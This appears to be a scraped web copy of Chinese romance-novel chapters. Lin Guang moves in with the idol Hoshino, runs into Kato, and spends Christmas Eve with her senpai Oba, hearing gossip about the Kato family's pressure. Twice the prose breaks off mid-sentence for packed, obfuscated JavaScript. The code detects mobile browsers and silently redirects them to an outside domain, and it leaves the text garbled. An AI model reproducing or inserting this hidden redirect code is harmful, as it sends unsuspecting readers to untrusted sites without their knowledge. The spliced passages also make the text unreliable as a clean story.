清晨的寒气透过窗缝渗入室内。睡眼惺忪的两人挤在并不宽敞的盥洗室里,共享着朦胧的晨光。林光站在洗漱台前,动作迟缓地刷着牙,薄荷味的泡沫在口腔里蔓延开一丝清凉。星野则在她边上,对着镜子,用林光的夹发板耐心地打理着自己那一头经过一夜蹂躏后乱糟糟的卷发,发丝在加热板下发出细微的滋滋声,散发出淡淡的焦糊味和护发素残留的香气。客厅里传来搬家工人沉重的脚步声和纸箱摩擦地面的声音,伴随着他们低沉的交谈。最后一件包裹被搬出门外,随着沉重的车厢门“哐当”一声锁紧,司机探出头,朝着公寓方向喊了一声:“井上小姐,可以出发了!” 室外凛冽的空气扑面而来,瞬间冲散了林光残余的大半困意,让她不由自主地打了个寒噤。她跨坐在自己那辆线条硬朗的黑色机车上,一边扣上头盔,一边在脑海中快速梳理着前往新居的路线。引擎尚未启动,她侧过头,看着正举起头盔准备戴上的星野,犹豫了一下,还是道出了心中的隐忧: “加藤前辈如果还在你家的话……该怎么办?”她的声音隔着头盔显得有些闷。 星野戴头盔的动作明显顿了一下。她眨了眨眼,长长的睫毛在晨光中颤动,频率快得有些不自然,暴露了她内心的慌乱。“她……她今天上午有录音的工作,”星野的声音带着一丝不确定的飘忽,“这个点……或许,已经在去现场的路上了。”她像是在说服林光,更像是在说服自己。 “那就好。”林光的声音听不出太多情绪,只是稍稍松了口气,拧动了车钥匙。引擎低吼起来,打破了清晨的寂静。 昨夜的雪似乎停得仓促,除了路边低矮灌木和光秃秃的树枝上积攒了一层薄薄的、晶莹的白色,路面倒是干爽,并未留下多少湿滑的痕迹。林光跟着搬家公司的卡车一路骑行,冬日的阳光带着些微暖意,却不足以驱散清晨的寒冷。抵达星野居住的高级公寓楼下,身着统一蓝色工作服、动作麻利的工人们已经利索地展开了防护布,准备开工。星野将头盔挂在车把上,快步跟着工人上楼去开门。林光则把摩托熟练地停进公寓配备的专属车位。 停好车,林光没有立刻上楼,而是绕了一圈,走进公寓旁一家24小时营业的便利店。温暖的空气和食物的香气瞬间包裹了她。她在货架上拿了两个热乎乎的红豆馒头和一个鸡肉三明治。走到收银台排队时,想了想,又折返回去,从保温柜里拿了几瓶热红茶,打算待会儿送给搬家公司的那几位看起来颇为辛苦的女工人。队伍缓慢移动,林光低头看着手里的食物,不知为何,心里总萦绕着一股莫名的、挥之不去的惴惴不安,像有根弦微微绷着。直到前面的人结完账,收拾好自己的东西转身准备离开—— 看清眼前人脸庞的瞬间,林光的心脏猛地一缩,差点惊得跳起来! “那个……啊……早上好,加藤小姐。”林光的声音带着掩饰不住的慌乱,手指下意识地捏紧了装早餐的塑料袋。 “诶……”眼前的加藤春树显然也精神不佳,眼下带着淡淡的青影,手里提着几罐黑咖啡。在看到林光后,她明显愣了一下,随即还是努力挤出了一个礼貌而略显疲惫的微笑。这是她们第二次在路上偶遇了。“早上好,真巧啊。井上小姐也住在这附近吗?”她的声音有些沙哑。 “啊,是的,我刚搬……额,嗯我朋友家在这附近。”林光几乎是脱口而出,说完就恨不得咬掉自己的舌头。这个借口蹩脚得毫无水准,漏洞百出!也许过不了多久,就会被这位心思敏锐的歌姬发现,自己现在正准备和她那位麻烦缠身的女朋友开始同居生活。林光暗暗倒吸了口凉气,这个拙劣的谎言像块沉重的石头,瞬间堵在了胸口,让她呼吸都有些滞涩。 “一路顺风。”加藤似乎并未深究,只是礼貌地点点头,提着咖啡走出了便利店。 林光僵硬地站在原地,直到加藤的身影消失在门外,才勉强挪动脚步上前结账。提着沉甸甸的塑料袋走出便利店大门,冬日上午的阳光格外刺眼,直射下来,让她眼睛一阵发酸,几乎要流出泪来。 林光在日本待了五年的家当并不算特别多,加上搬家工人手脚麻利,不到两个小时,所有的行李都被整齐地安置在新居——这间属于她和星野两个人的公寓里。空出来的客房成为了林光的卧室,一间带了个小巧铁艺阳台的房间,采光很好,只是衣柜确实小了点。林光跟着工人,看着自己的电鼓和哑鼓垫被小心地布置在床边,工作用的电脑和MIDI键盘则摆放在了阳台边那张星野提前准备好的、宽大厚实的原木长桌上。靠近门口的主卧是星野的房间,门虚掩着。林光从门口瞥见里面摆着一张宽大舒适的白色双人床,床头靠着墙,几个可爱的毛绒玩具随意地堆在枕边,透露出主人隐藏的少女心。 参观完自己的新领地,林光回到客厅。星野正从橱柜里——那里面整齐地摆放着各式各样、色彩缤纷的马克杯——拿出两只素雅的白色瓷杯。她在铺着格子桌布的餐桌上倒了两杯冒着热气的红茶,茶香袅袅。林光接过温热的茶杯,指尖传来舒适的暖意。她从便利店的袋子里拿出早餐,将鸡肉三明治递给星野。 “给,鸡肉的。”星野接过三明治,对她点点头示意开动了。她咬了一大口,沙拉酱与蛋黄酱混合的浓郁口感,架着爽脆的甘蓝丝和分量十足的鸡肉丝,让她满足地眯起了眼睛,脸颊鼓鼓囊囊,像只贪吃的仓鼠。林光站在餐桌前,一手拿着红茶,一手拿着红豆馒头,看着星野这副毫无形象的样子,忍不住觉得有些好笑。但她也必须承认,对方这种大快朵颐的模样,莫名地让人也食欲大开。 她端着茶杯,踱步到阳台前的落地玻璃门边。星野家这间公寓的视野开阔,远非她之前那个小蜗居可比。客厅窗外不再是深夜轰鸣的电车轨道,而是可以俯视繁华闹市街区的绝佳景观,高楼林立,车流如织。她凝视着阳台外那片被雪后洗涤过、显得格外澄澈的蔚蓝天空,思绪却飘远了。公司安排她住到这么好的地方,和当红艺人同居,背后又会向她提出什么样的交换条件?她抿了一口温热的红茶,带着一丝不易察觉的忧虑收回视线,转过身来。 厚实的冬衣早已脱下挂在玄关衣架上。此刻的林光只穿着一件贴身的米白色高领打底衫,勾勒出匀称的身形。她逆着光站在落地窗前,星野一时看不清她脸上的表情,只觉得那被阳光勾勒出的剪影线条流畅而充满力量感,腰肢纤细,双腿笔直,带着一种中性的利落美感,值得她吹上一声动机绝对不纯的口哨。林光自然是将星野那毫不掩饰的欣赏神情尽收眼底。她双手轻轻搭在自己腰胯两侧,微微歪着头,唇角勾起一抹促狭的笑意,提醒道: “收着点吧,前辈。也不怕加藤小姐知道了吃醋?” “哦?”星野把手里最后一口三明治塞进嘴里,一边咀嚼一边像打量什么新奇生物一样看着林光,“小光作为玩摇滚乐队的人,骨子里居然这么保守吗?”她的语气带着点调侃和探究。 “……”星野突然抛出的问题让林光微微一怔,她低头沉默地思考了几秒,指尖无意识地摩挲着温热的杯壁,“也许……只是一个言语上的巨人,行动上的矮子?”她自嘲地笑了笑。 “哦,好哲学。”星野挑了挑眉,似乎觉得这个答案很有趣。 “那个,”林光像是想起了什么,眼神有些飘忽,从玄关移到主卧门,又慢慢飘回到坐在餐桌前的星野身上,似乎有些犹豫该不该说,“我刚刚……在便利店遇到加藤小姐了。” “哦?”昨晚那个为情所伤、脆弱落寞的女人仿佛只是林光的幻觉,此刻的星野一脸平静地坐在那里,端起红茶喝了一口,用眼神示意她继续说下去,仿佛在听一个无关紧要的路人消息。 “没什么,”林光看着星野这副浑不在意的样子,心里莫名有点堵,语气也淡了下来,“只是和你说一声。既然你都无所谓的话,那我也……”她耸耸肩,没再说下去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403816|184388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “好啦好啦,”星野眼看要把眼前这个偶尔脾气倔强的后辈逗得有了真火,赶紧放软了语气解释,“我昨天后来有回她消息的。不过小光,”她放下茶杯,身体微微前倾,带着点好奇和探究,“你看起来……像是在担心什么呢?”她的目光仿佛能穿透林光的故作平静。 “……担心你。”林光迎着她的目光,坦率地承认,肩膀微微耸动了一下,“圣诞节……会不会孤身一人?”她的声音很轻,却带着真诚的关切。 “再怎么都不会是一个人的……”星野下意识地回答,话说到一半,突然像是捕捉到了什么关键信息,猛地瞪大了眼睛,声音都拔高了一点,“等等!”她盯着林光,“你……你已经有约了?”语气里充满了难以置信。 “我看起来像是没人约的样子吗?”林光看着星野惊讶的表情,终于找回了点场子,笑着回怼过去,还故意学着星野平时的小动作,微微挑着下巴,露出一点小得意,“怎么样,前辈?这种单身自由、想约谁就约谁的感觉,是不是有点怀念了?” “该死的。”星野懊恼地啧了一声,往后靠在椅背上,一脸羡慕嫉妒恨,“真羡慕你。” “那倒不用羡慕,”林光双手撑着椅背,身体微微前倾,脸上带着狡黠的笑意,“还是前辈能‘烂醉在女人堆’的事情更值得我羡慕啊~”她刻意加重了那几个字。 星野立刻听出她话里的揶揄和昨晚“女子会”的旧账,脸上闪过一丝窘迫,无可奈何地双手合十,朝着林光拜了拜:“我欠你一个人情!拜托!昨天的事情……千万别告诉加藤!”她摆出一副可怜兮兮的求饶姿态。 “那我可就不客气地收下这个人情了。”林光满意地点点头。 “对了,”星野似乎想起了正事,刚才玩笑般的神情收敛了一些,“等会儿我出门的时候,顺便去公寓管理处帮你登记一下住户信息,录入指纹或者拿临时门卡的事情……”她看了看时间,“可能要麻烦你等我回来?或者让管理处帮你开门?” “也行。”林光点了点头,表示理解,“不过今天下午我应该会在外面有些事情,可能……明天才回来。”她补充道。 “啊~我知道了。”星野拖长了语调,脸上瞬间露出一个“我懂我懂”的暧昧笑容,眼神在林光身上扫了一圈。 “……不是你想的那样!”林光被她看得脸颊微热,立刻出声反驳,语气带着点被误解的羞恼。 “好啦好啦,不是就不是。”星野笑着站起身,拿起自己的包和外套,“除了我房间里的东西,家里的任何东西你都随便用,当自己家就好。我出门咯!” “一路平安。”林光站在玄关,目送星野离开。 随着“咔哒”一声轻响,厚重的防盗门在面前合拢,将室外明亮的光线和星野那张离去前还带着明媚关照笑意的精致脸庞一同隔绝在外。门关上的瞬间,公寓里骤然安静下来,只剩下中央空调系统低沉的送风声。走回客厅的林光,像是卸下了什么无形的负担,整个人松懈下来,一屁股陷进那张宽敞柔软的布艺沙发里。昨晚不知为何睡眠相当浅,一点细微的声响——比如星野翻身时被子的摩擦声、窗外偶尔驶过的车辆声——就能轻易将她唤醒,并且总是不自觉地让她侧头看向地铺上沉睡的星野。 此刻,沙发柔软的包裹感带来了久违的放松。林光随手抱过旁边一个米白色的方形抱枕,将脸埋进去,在控制不住打出的哈欠间隙中,一股极其熟悉、却又让她瞬间僵住的淡雅香气——混合着雪松的清冷和一丝不易察觉的甜橙尾调——隐隐约约从怀里的布料中钻入鼻腔。是昨晚,晚风带过加藤春树身上的气味! 林光猛地抬起头,不确定自己的记忆是否可靠。她几乎是条件反射般站起身,快步走到玄关衣架旁,拿起昨晚自己穿过的外套,凑近后腰处的布料仔细嗅了嗅——那里是加藤昨晚在摩托车上短暂环抱过的地方。果然!残留着同样的、淡淡的香气。她又立刻拿起沙发上的抱枕,再次确认地嗅了嗅。下一秒,她像触电般迅速把那个抱枕甩到了沙发的另一头,仿佛它是什么烫手山芋,脸上写满了难以置信。 很难想象……这个抱枕昨晚经历了什么样的事情,无数个画面瞬间涌入林光的脑海。 4. 冬日晴空的契约同居(2) 她烦躁地抓了抓头发,抱着自己的外套快步走回属于自己的房间。这个宽敞明亮的新家里,关于另一个人的浓烈记忆和情感痕迹,让她心里油然生出一股强烈的不安和一种闯入他人私密领地的怪异感。她把外套挂进衣橱深处,仿佛想隔绝那恼人的香气。然后,她脱掉外裤,只穿着打底衫,掀开自己新铺好的、带着阳光晒过气息的被子,钻了进去。被窝里是熟悉而安全的、只属于她自己的味道。临睡前,她不忘看了一眼床头柜上的闹钟,下午一点半。还好,还能补个觉。 至少她还有一个属于自己的被窝。 在闹钟设定的时间提前两分钟,林光的心脏毫无预兆地开始加速跳动,砰砰砰的声响在寂静的房间里清晰可闻,比任何刺耳的闹铃都更有效地将她从睡梦中拽了出来。醒过来的林光感觉意识还漂浮在混沌的边缘,窗外,冬日的夕阳正将柔和的金红色光芒斜斜地铺洒进来,角度完美得适合盯着发呆。就在这时,枕边的手机屏幕亮起,Line的消息提示音清脆地响起,像是一道连接线,将她彻底拉回了现实世界。 “演出结束了,大概二十分钟到你楼下。” 林光看着手机,笑着敲字, “演出辛苦。” 大庭澪开着她的白色小型SUV来到星野家楼下时,林光早已裹着厚外套,站在公寓楼入口的玻璃门内,安静地目视着她的到来。大庭停稳车,透过车窗仔细打量着车外的林光。她今天穿了一件剪裁利落的黑色皮衣外套,内搭浅灰色的高领毛衣和一件质感细腻的格纹衬衫,领口随意地翻出,衬得她本人既有几分硬朗又带着随性的温柔。及肩的短发被整齐地束在脑后,露出光洁的额头和优美的脖颈线条。清爽的淡妆恰到好处,弱化了她的棱角,将那份独特的少年气柔和了许多。大庭的目光从林光清亮的眉眼移到梳理得一丝不苟的发鬓,最后缓缓滑落到她唇上那抹亮丽新鲜的樱桃色唇彩上——这个色号,以前似乎没见这孩子涂过呢。 “晚上好。”林光拉开车门坐进副驾,怀里抱着一个鼓鼓囊囊的小背包。她系好安全带,感觉大庭前辈的目光似乎在自己脸上停留得有点久,但对方迟迟没有发动车子。林光被她看得有些不自在,脸颊微微发热,眼神略带难为情地飘向前方道路的尽头,轻声提醒:“前辈,快到约定的时间了哦。” “啊,嗯,走吧。”大庭似乎才回过神,收回目光,脸上带着一丝不易察觉的笑意,发动了车子。 每次坐在大庭澪的副驾驶座上,林光总会忍不住偷偷向右瞄几眼。这位长相如同精致奶油大福般甜美可爱的前辈,与她此刻专注驾驶、眼神沉静的模样形成了巨大的反差。每一次偷偷的注视,都会让林光心中那份油然而生的尊敬之情增加一分。今天的大庭应该是刚结束演出工作就直接过来接她,脸上还带着舞台妆卸除后、简单修饰过的干净底妆,微卷的栗色长发略显凌乱地披在肩头,身上穿着一件淡蓝色的针织连衣裙,外搭一件休闲的浅色牛仔外套,袖口微微挽起,露出纤细的手腕。她那双小巧的手稳稳地握着方向盘,食指上一枚设计简约的银戒在窗外流动的霓虹灯光下偶尔闪过一点微光。 大庭轻车熟路地将车停进餐厅附近的停车场。熄火后,她解开安全带,转过身正准备和林光说些什么,却意外捕捉到邻座人迅速收回视线的、带着一丝慌乱的神情。 “在看我吗?”大庭微微挑眉,唇角勾起一个带着了然和促狭的轻笑,“我脸上……有什么东西?”她的目光直白地锁住林光。 “不是,”林光像是被抓包的小学生,眼神立刻开始在天花板或者车窗外寻找并不存在的星星,手指无意识地轻点着自己的下巴,词不达意地试图掩饰,“只是在想……今年前辈会送我什么样的圣诞礼物呢。”她试图把话题引向安全地带。 “嘛~”大庭学着她惯用的语气词,身体忽然向她这边倾靠过来,带来一阵淡淡的、好闻的香水味。她故意停顿了一下,敏锐地察觉到林光因为她的靠近而微微屏住了呼吸。大庭眼中笑意更深,不再逗她,伸手从后座拿过一个包装精美的纸袋,递到林光面前:“圣诞快乐,我的小后辈~”声音温柔又带着点宠溺。 “诶!”林光没想到礼物来得这么快,有些惊喜又带着点被看穿的羞涩,低头掩饰着脸上泛起的红晕,接过了纸袋。她小心翼翼地打开包装,里面是两双毛茸茸、图案可爱的厚实棉袜,还有一个同样印着卡通图案的精致零钱包。令林光格外惊喜的是,零钱包和其中一双袜子上,印着的正是她最喜欢的玉桂狗!“谢谢你,大庭前辈!”林光开心地笑起来,“我就不客气地收下啦!” 大庭比了个“请”的手势,看着林光把礼物珍重地放进自己的小背包里。车内的气氛似乎又安静了下来,带着一丝微妙的尴尬。林光故作毫无准备的样子,眼神飘忽,手指绞着背包带子,试图无视大庭眼神里那份越来越明显的、带着期待和一丝催促的意味。虽然知道这样有点失礼,但看着眼前这位平日里稳重可靠的前辈,此刻像只等待投喂的小狗般微微歪着头,眼神里带着疑惑和一点点不易察觉的委屈,林光心里竟然觉得……有点可爱?她忍不住想多看一会儿。 直到大庭眼中的疑惑渐渐被一丝淡淡的沮丧取代,林光终于有些不忍心了。她带着点“真拿你没办法”的笑意,从自己背包的夹层里,也掏出了一个同样包装精美的长方形小盒子,双手递到大庭面前。 “圣诞快乐,”林光的声音带着真诚的笑意,目光明亮地看着大庭,“送给我最尊敬的大庭前辈。” 本以为林光真的没有为自己准备礼物,正有些失落的大庭,在看到那个精致盒子的瞬间,眼睛倏地亮了起来。她带着惊喜的轻呼接过盒子,迫不及待地打开——里面静静地躺着一对小巧精致的耳饰,银质的底托上镶嵌着几颗细碎的、宛如星尘般的蓝宝石,设计简约却充满巧思,非常符合大庭的品味。“哇!”她小心翼翼地取出一只,侧过身对着后视镜试戴。冰凉的耳针穿过耳洞,蓝宝石在她耳垂上折射着车内顶灯的光芒。她调整好角度,满脸抑制不住的欣喜笑意,特意侧过左脸对着林光展示:“怎么样?这可是我最优秀的后辈,井上小姐送我的圣诞礼物!是不是特别适合我?嗯?” 林光有些好笑地看着眼前这位拿过无数大奖的女演员,此刻像个得到心爱玩具的孩子,自顾自地演起了情景剧。她不好意思地低下头,一边伸手轻轻推了推大庭的肩膀,一边忍着笑敷衍地点头迎合她的孩子气:“好啦好啦,很适合!特别好看!不过……我肚子都饿得咕咕叫了,大演员?” “走!吃饭!”大庭心满意足地收好耳饰盒,珍重地放进自己的手包。 林光和大庭走出停车场,立刻被新宿街头汹涌的人潮迎面撞了个满怀。圣诞夜的商业区仿佛一个巨大的漩涡,霓虹闪烁,音乐震天,到处都是成双成对、十指紧扣的情侣,三五成群、大声谈笑的游客,以及步履匆匆、身着西装的上班族。为了不被这沸腾的人流冲散,林光主动伸出手,牵住了大庭微凉的手。大庭没有拒绝,指尖自然地回握,就这样任由她牵着,两人像两叶小舟,在喧嚣鼎沸的彩色河流中艰难穿行。置身于这过度刺激的环境——闪烁得令人眼花的巨型招牌、震耳欲聋的促销广播、混杂着各种食物和香水的气味、以及四面八方涌来的嘈杂人声——原本应有的浪漫唯美节日气氛,对林光来说却成了一种感官上的巨大负担。她脑子里原本规划清晰的路线图,被这接二连三的冲击搅得一团糟,脚步也变得迟疑混乱。 在大庭第三次无奈地拽住差点走错方向的林光之后,她果断地反客为主,更紧地握住了林光的左手,另一只手安抚性地轻轻拍了拍她的肩膀,声音温和而坚定:“跟我来。”她拉着满脸歉意和些许茫然的林光,灵活地拐进了一条相对僻静的小巷。喧闹声如同潮水般迅速退去,街景逐渐回归了林光印象里的模样。道路两旁不再是刺目的电子彩灯,取而代之的是散发着温暖橘黄色光芒的复古样式路灯。迎面而来的路人手里提着超市的购物袋或公文包,行色匆匆,回归了日常的节奏。慢下来的街头终于让林光紧绷的神经渐渐松弛下来,她长长地、不自觉地舒了一口气,打了个大大的哈欠,眼角甚至沁出一点生理性的泪水。 “工作辛苦,小澪。” “哎呀小光来啦,好慢啊你俩。”一旁的好友给林光挪了挪桌面的位置。待林光和大庭在长桌旁落座,整间屋子仿佛被投入了最后一块燃料,气氛如同小火微煮的热水终于迎来了沸腾的顶点。像今年这般的圣诞女子会已经是第三年,林光认识的几位北海道出身的友人,为了准备在东京过年的食材,总会让老家的家人寄送一些当地特有的海产品,特别是像帝王蟹、毛蟹这类平时不易买到的奢侈美味。而圣诞节这个恰逢其时的节日,便被几位好友提议用来作为一年一度联络感情、分享家乡美味的聚会。像今天这样,大家围坐在炉端烧的长桌旁,看着主厨在炭火前娴熟地翻烤着各种食材,一年仅此一次的难得机会。主厨师傅用长长的柄托盘给林光送上了一盘滋滋作响的扇贝。硕大的扇贝壳被炭火烤得边缘焦黑,充当着天然的烤盘,里面盛着剪成方便入口大小的、洁白鲜嫩的扇贝肉,中间卧着一颗圆润金黄的鹌鹑蛋,浓郁的黄油和蒜蓉酱汁正咕嘟咕嘟冒着欢快的气泡,香气扑鼻。林光忍不住咽了咽口水,拿起筷子,双手合十,真诚地道:“我开动了!” “喝点什么?”好友用举酒杯的手碰了碰林光,林光看向她装满清酒的杯子,笑了笑,“我喝酸奶就好。” “好嘞。”好友喊来服务员,“澪呢?和我一样的清酒可以吗?” “可以吗?”大庭眼睛看向林光,手指摸了摸嘴角带着的笑意。林光听出了几分明知故问的语气,她之所以会参加今天的女子会,主要还是来把这位想在年底放松一下的前辈安全地送回家。 “如果我说不能的话,前辈会真的不喝吗?”林光一边接过服务员递过来的酸奶,看着大庭的眼睛认真发问。 “那是当然。” 林光正往嘴边送的杯子顿住了,几滴乳白色的液体洒在了手背上。她皱着眉,低头用舌尖舔掉了手背上的酸奶,抬起头,眼神里带着明显的怀疑:“真的假的?”她可太清楚大庭偶尔贪杯的小爱好了。 “不信我吗?”大庭微微侧身,给前来倒酒的服务员让出空间。她的手臂因为侧身的动作,自然而然地贴在了林光的手臂上。大庭没有立刻移开,反而就着这个姿势,用胳膊轻轻蹭了蹭林光的,眼神凝视着清澈的酒液缓缓注入自己杯中,仿佛过往一些依赖林光照顾的画面也随着酒液一同浮现。“托小光的福,”她轻声说,带着一丝感慨,“我现在才能安心坐在这里,不是吗?”这句话一语双关,既指此刻的聚会,也指她能放心喝酒的底气。 “嘛~”林光不置可否地喝了口酸奶,用筷子把扇贝肉和鹌鹑蛋搅和在一起,又东张西望地看了看其他人的碗碟。 “别一个人喝啦。”好友在另一边用手肘戳她。林光顺着她的眼神看过去,这场女子会的组织者坐在桌子的最上方,笑容满面地举起酒杯,所有人应势举起了手里的杯子。 “来!大家,今年各种各样的事情都辛苦了!新的一年,还要继续像今年一样,和以前一样,关系一直这样好下去哦!” 一阵欢笑,说话的女子自己也笑了出来,林光微笑着举着酒杯, “好!干杯!” 也许是因为聚会的成员皆为相熟多年的女性好友,氛围轻松自在,林光在前辈们面前一向的拘谨也消散了不少,表现得落落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403817|184388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大方。没有喝酒的她,自然而然地担当起了为周围好友倒酒的任务。她动作利落地穿梭在座位间,适时地为空杯续上清酒或啤酒。当她放下酒瓶,刚打算回到自己座位继续享用美食时,坐在斜对面不远处的对话声,像磁石一样吸引了她的注意。她一边小口吃着美味的扇贝,一边努力回忆自己是在哪个工作场合见过那两位女士——她们也是Collector事务所演艺部的前辈。虽然想不起具体交集,但她们刻意压低却依旧飘过来的对话内容,清晰地捕捉到了林光的耳朵,那里面隐藏着令人心惊的八卦。 “你听说了吗?加藤家那边对星野做的那些事情……”其中一个声音带着唏嘘。 “你是说之前事务所回应的那件事?说否认恋情是我们家艺人单方面行为那个?”另一个声音回应。 “不止是那些!”聊到重点的那位女生声音压得更低,几乎成了气声,但林光坐直了身子,不动声色地往那边侧了侧耳朵,眼睛却假装专注地看着主厨翻动烤架上金吉鱼的动作,“听说加藤先生为了逼她们彻底分手,还……还派了记者去长期蹲守星野的老家,盯着她的家人朋友,骚扰他们……也真是……”后面的话被一声叹息代替。 “真过分呢……”同伴的声音充满了同情和一丝愤慨。 林光咬着筷子尖的动作停住了,嘴里的美味似乎也失去了滋味。她的目光下意识地转向身旁的大庭澪。大庭也正好看向她,两人的视线在空中交汇。大庭的眼神深邃,带着一丝了然和沉重,显然也捕捉到了刚才的对话。她几不可察地对着林光轻轻摇了摇头,示意她不要参与这个话题。然后,大庭自然地开口,将话题引开,声音不大不小,刚好盖过那边的私语: “新家感觉怎么样?我记得你之前好像……挺不习惯和有伴侣的人来往得这么密切的?”大庭的语气带着关心和一点旧事重提的调侃。 “你还记得呢,”林光回过神来,顺着大庭的话接下去,努力让自己的声音听起来平静,“不过最近……好像慢慢也能和她们正常交流了。”她放下筷子,端起酸奶喝了一口。 林光也知道自己确实很难处理好身边的人情关系,她最喜欢的交际方式便是短暂的交流之后长远的分离,就像在舞台上表演者与观众的交流。她一直都无法理解,为什么人们对长久稳定达到一对一关系的会如此地向往,用感情捆绑着彼此只会让对方寸步难行,这也是林光会为什么对恋爱中的情侣们避而远之的原因,她对这种甘愿折翅如同飞蛾扑火般的疯狂有着生理性地恐惧。 “因为谈恋爱这件事啊,”林光叹了口气,带着点自嘲的坦诚,“本来就是一件很恐怖的事情嘛。”尤其是在听到了刚才那些关于星野遭遇的只言片语之后,这种恐惧感似乎更具体了。 大庭早将她对爱情的恐惧归类为年轻人的“纯情”和理想化。她看着林光略显困扰的侧脸,凑近她的耳边,用只有两人能听到的音量,抛出了一个更爆炸性的消息:“星野答应了加藤夫人,今天会正式和春树提分手。” “诶?!”林光吓得差点从椅子上跳起来,猛地转过头,瞪大了眼睛看着大庭嘴角那抹复杂难辨的笑意,“什么意思?怎么回事?”她的声音因为震惊而微微拔高,引得旁边朋友投来好奇的目光。 “嘘——”大庭做了个噤声的手势,眼神示意她冷静,然后恢复了享用佳肴的姿态,夹起一块烤得恰到好处的鱼肉塞进嘴里,声音压得更低,“你就理解为……这是加藤家对星野最后的‘人情’和施压吧。”她咀嚼着,咽下食物,端起清酒杯抿了一口,“她不在我才这么说哦,我个人觉得……和加藤分手,对星野来说,未必是坏事。” “嘛~”林光学着她的语气词,举起酸奶杯,借着喝饮料的动作掩饰心里的惊涛骇浪和复杂情绪——同情?担忧?还是某种说不清道不明的释然?“有些可怜呢,星野前辈。”她低声说,目光落在杯中晃动的白色液体上。 “给她长个记性也好,”大庭似乎对盘子里油脂醇厚的金吉鱼有点腻到了,她皱了下眉,很自然地将自己盘中剩下的大半条鱼推到了林光面前,“尝尝这个,刚烤好的。”她知道林光偏爱这类油脂丰富的鱼。“不过……”大庭话锋一转,看着林光顺从地夹起鱼肉,眼中带着一丝玩味,“我觉得你们俩现在住一起,倒是挺合得来的?” “谢谢前辈。”林光接过那盘被嫌弃的金吉鱼,感谢她记得自己的口味偏好,“你是指……哪方面合得来?”她一边拆着鱼骨,一边好奇地问。 “怎么说呢,”大庭半阖着眼,似乎在回忆,“和她相处这么久,她是我见过的,最符合双鱼座那种……嗯,天真烂漫、甚至有点恋爱脑特质的人。”她睁开眼,带着点疑惑看向林光,“可是我记得……小光你也是双鱼座来着?行事风格却总是这么……嗯,谨慎清醒?在恋爱观上更是两个极端,反差很大呢。” “那……”林光舔了舔嘴唇上沾到的鱼油,努力让自己的八卦之心不要表露得太过明显,“星野前辈之前……有什么特别‘有意思’的恋爱故事吗?”她小心翼翼地试探。 “这个嘛……”大庭神秘地笑了笑,拿起纸巾优雅地擦了擦嘴角,“你可以亲自去问问她本人。我估计……”她顿了顿,眼神瞟向窗外蒙着一层温暖雾气的玻璃,外面夜色已浓,“明晚,等她处理完事情,八成就会喊上她那几个死党好友,去到酒吧喝酒买醉了。”想起以前星野失恋后喝得烂醉如泥、又哭又闹的场面,大庭不禁对眼前这位新晋室友流露出几分同情和担忧,“到时候……又该闹腾一晚上不得安宁了。” “应……应该还好吧?”林光也取了张纸巾,仔细擦干净油乎乎的嘴角,目光同样投向窗外沉沉的夜色,心里默默为明晚可能到来的“风暴”叹了口气。 5. 圣诞星屑(1) “今晚就和我睡吧,”大庭澪整个人倚在林光的肩膀上,脸颊酡红,声音带着浓浓的醉意和一丝撒娇的意味,“我没铺客房的床,嘿嘿。”卧室暖黄色的床头灯在她脸上投下朦胧的光晕。 谁都知道大庭澪那三杯倒的酒量——除了她本人。林光此刻正艰难地扮演着“人形拐杖”的角色,不仅要半抱半扶地支撑着脚下踉跄、身体发软的大庭,还要时刻提防脚下那只兴奋过度、一直绕着她脚边打转、试图用牙啃咬她裤腿的白色吉娃娃“小麦”。小狗的爪子在地板上发出“哒哒哒”的急促声响,像个小闹钟。 “小麦,乖,等会儿给你吃零食。”林光一边努力稳住重心,一边用哄小孩般的语气试图安抚这只热情过度的小家伙,声音里带着一丝无奈的笑意。 “你在……和谁说话?”大庭迷迷糊糊地抬起头,眼神涣散地看向林光,仿佛在确认身边人的存在。 好不容易将大庭安全“卸货”到那张被主人睡得有些凌乱、枕头歪斜的床铺上。林光目不斜视,动作麻利又带着几分习以为常的熟练,帮她解开外套扣子,换上舒适的棉质睡衣。整个过程快速而专业,仿佛演练过许多次。接着,她拉过蓬松柔软的羽绒被,仔细地给大庭盖好,一直盖到下巴,只露出那张醉意朦胧的漂亮脸蛋。轻车熟路地走到房间角落,按下那台静音加湿器的开关,细微的“嘶嘶”声响起,湿润的水雾开始弥漫,空气中淡淡的酒气被一丝清凉的薄荷香氛冲淡。 “早点睡吧前辈,”林光的声音放得很轻,像怕惊扰了什么,“客房我自己可以去铺的。”她转身准备离开。 “还是和……原来一样倔……”完全陷入温暖舒适“陷阱”的大庭看起来已无心也无力多问,只是含糊地嘟囔了一句,伸手胡乱扯过旁边的枕头抱在怀里,像个缺乏安全感的孩子。过了几秒,她又闭着眼睛,含混不清地追加了一句:“再帮我……倒杯水呗……谢谢你……”声音软糯,带着醉后的依赖。 “我知道了。”林光应下,轻轻带上了卧室的门,留了一条缝隙。 门刚关上,一直守在门口的小麦立刻像颗白色的小炮弹一样跳起来,试图扑到林光身上。林光看着它努力蹦跶却怎么也够不着自己膝盖的憨态,忍不住蹲下身,伸出手指轻轻挠了挠它毛茸茸的下巴和耳朵。小家伙立刻舒服地眯起眼,发出满足的喘气声。 